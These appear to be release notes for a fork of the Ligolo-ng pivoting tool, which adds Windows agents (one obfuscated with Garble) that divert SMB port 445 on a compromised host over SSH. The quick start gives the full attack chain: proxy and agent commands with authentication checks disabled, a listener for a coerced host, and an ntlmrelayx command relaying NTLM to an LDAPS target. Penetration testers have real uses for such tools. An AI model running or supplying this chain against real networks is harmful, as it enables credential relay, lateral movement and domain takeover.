Ligolo-ng SSH ShadowPort fork
This is an independent fork of nicocha30/ligolo-ng. Nicolas Chatelain and the upstream contributors deserve full credit for Ligolo-ng and its core tunneling engine. This release is not an official upstream build.
What is new
- Two separate Windows AMD64 agents:
agent-shadow.exeandagent-shadow-garble.exe - Source-scoped TCP/445 ShadowPort translation to an unoccupied internal port
- Existing Ligolo reverse listener streams carried entirely through SSH
- CLI, authenticated API, Web UI, listings, deletion, and reconnect metadata parity
- Official unchanged WinDivert 2.2.2 AMD64 runtime embedded, hash-pinned, and driver-signature checked
- All 12 previous Windows/Linux AMD64/ARM64 proxy, normal-agent, and Garble-agent binaries retained
The target needs only the chosen ShadowPort EXE plus built-in Windows PowerShell. Run it from an elevated Administrator shell with -allow-shadow-port. SYSTEM is not required. Windows must materialize the signed driver temporarily on disk while a ShadowPort listener is active.
Quick start without an agent key
Proxy:
./proxy -laddr ssh://0.0.0.0:22 -ssh-user ligolo -ssh-host-key ./ssh_host_ed25519 -ssh-insecure-allow-no-authAgent:
.\agent-shadow.exe `
-connect ssh://PROXY_IP:22 `
-ssh-user ligolo `
-ssh-insecure-no-auth `
-ssh-insecure-ignore-host-key `
-allow-shadow-port `
-retry `
-reconnectProxy console:
session
listener_add --tcp --addr AGENT_IPV4:445 --to 127.0.0.1:8445 --shadow-port --shadow-internal-port 8445 --shadow-source COERCED_HOST_IPV4_OR_CIDR
Receiver:
sudo ntlmrelayx.py -ip 127.0.0.1 --smb-port 8445 -smb2support -t ldaps://RELAY_TARGETSee the attached README.md for key-authenticated commands, host-key pinning, Responder, Web UI, inspection, and cleanup.
Verification
- Normal and Garble ShadowPort agents passed real Windows TCP/445 -> SSH -> WSL round trips with and without an SSH client key.
- Impacket 0.13.1
ntlmrelayx.pyreceived SMB2/NTLM through ShadowPort on port 8445. - Forced agent termination restored native TCP/445 immediately; documented cleanup removed expected crash residue.
- PID 4 remained the native TCP/445 owner.
SHA256SUMS.txt,build-manifest.json, andTEST-REPORT.mdare attached.